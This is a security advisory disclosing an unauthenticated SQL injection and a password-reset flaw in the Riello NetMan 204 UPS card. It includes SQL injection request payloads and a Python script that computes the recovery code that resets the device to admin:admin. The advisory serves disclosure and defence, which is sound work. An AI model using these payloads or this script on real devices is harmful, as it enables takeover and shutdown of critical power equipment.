Vendor description
-------------------------------------------------------------------------------
"Riello Elettronica, lead by Cav. Lav. Pierantonio Riello, has a presence today
in the Electrical manufacturing industry with two divisions: Energy, Automation
and Security. It is a leader in the Uninterruptible Power Supply market with
the well-known brand Riello UPS.
Energy represents the Group’s core business, in particular with the manufacture
of UPS that are firstly able to guarantee the quality of electricity and
secondly maintain normal operation and continuity in case of blackouts or
anomalies in the energy supply.
Riello UPS designs and produces strategical solutions for every kind of
requirement and make a bespoke offering according to the clients’ needs: from
banks to the hospitals, transport to infrastructures, from domestic use to data
centres."

Source: https://www.riello-ups.com/pages/41-the-riello-elettronica-group

Vulnerable versions
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NetMan 204 / 4.05

Vulnerability overview
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1) SQL Injection (CVE-2024-8877)
The three endpoints /cgi-bin/db_datalog_w.cgi, /cgi-bin/db_eventlog_w.cgi, and
/cgi-bin/db_multimetr_w.cgi are vulnerable to SQL injection without prior
authentication. This enables an attacker to modify the collected log data in an
arbitrary way.

2) Unauthenticated Password Reset (CVE-2024-8878)
By navigating to the endpoint /recoverpassword.html an attacker can gather the
netmanid from the UPS. This id can be used to calculate the recovery code for
resetting the password. This way enables an attacker to take over control of
the UPS and e.g. turn it off.

Proof of Concept
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1) SQL Injection (CVE-2024-8877)
The system is subsceptible to SQL injections, which is illustrated by the
following payloads:

AND 1=0:
/cgi-bin/db_eventlog_w.cgi?date_start=1715609000&date_end=1715630160&
gravity=%25&type=%25%27and/**/%271%27=%270

AND 1=1:
/cgi-bin/db_eventlog_w.cgi?date_start=1715609000&date_end=1715630160&
gravity=%25&type=%25%27and/**/%271%27=%271

The first request does not return any data, while the second request returns
all entries with a start and end date in the given interval.

2) Unauthenticated Password Reset (CVE-2024-8878)
The following python script can be used to generate the recovery code from the
netmanid:

import hashlib
import sys
def calc_code(netman_id):
secret = b"NMP"
netman_id = secret + netman_id[3:]
round1 = hashlib.md5(netman_id).hexdigest().encode('utf-8')
round2 = hashlib.sha1(round1).hexdigest()
code = round2[5:5+7]
return code
if len(sys.argv) < 2:
sys.exit("usage: {} netman_id".format(sys.argv[0]))
netman_id = sys.argv[1]
print(calc_code(netman_id.encode('utf-8'))

Inputting the recovery code in /recoverpassword.html resets the login
credentials to admin:admin.

Solution
-------------------------------------------------------------------------------
None

Workaround
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Limit access to the device.

Recommendation
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Riello should release a firmware update that fixes the mentioned
vulnerabilities.
Customers should not use this device in productive networks.

Contact Timeline
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2024-05-21: Contacting Riello UPS Group via [email protected].
2024-06-06: Contacting Riello UPS Group via [email protected].
2024-06-10: Received confirmation that the issue is being looked into.
2024-07-22: Asking Riello UPS Group for a status of the update.
2024-07-22: Contact stated that there is no planned date for the
update.
2024-08-05: Asking Riello UPS Group for a status of the update and telling them
that the advisory will be published on 2024-09-19 after a 90-day
period as stated in our Responsible Disclosure Agreement.
2024-08-07: Contact stated that there are no news regarding the update and that
it would take longer than 2024-09-19.
2024-08-13: Asking Riello UPS Group about news on the update and a possible
release date.
2024-08-26: Contact stated that there are is no information regarding the
update.
2024-09-19: Advisory published.

Web: https://www.cyberdanube.com
Twitter: https://twitter.com/cyberdanube
Mail: research at cyberdanube dot com

EOF David Blagojevic / @2024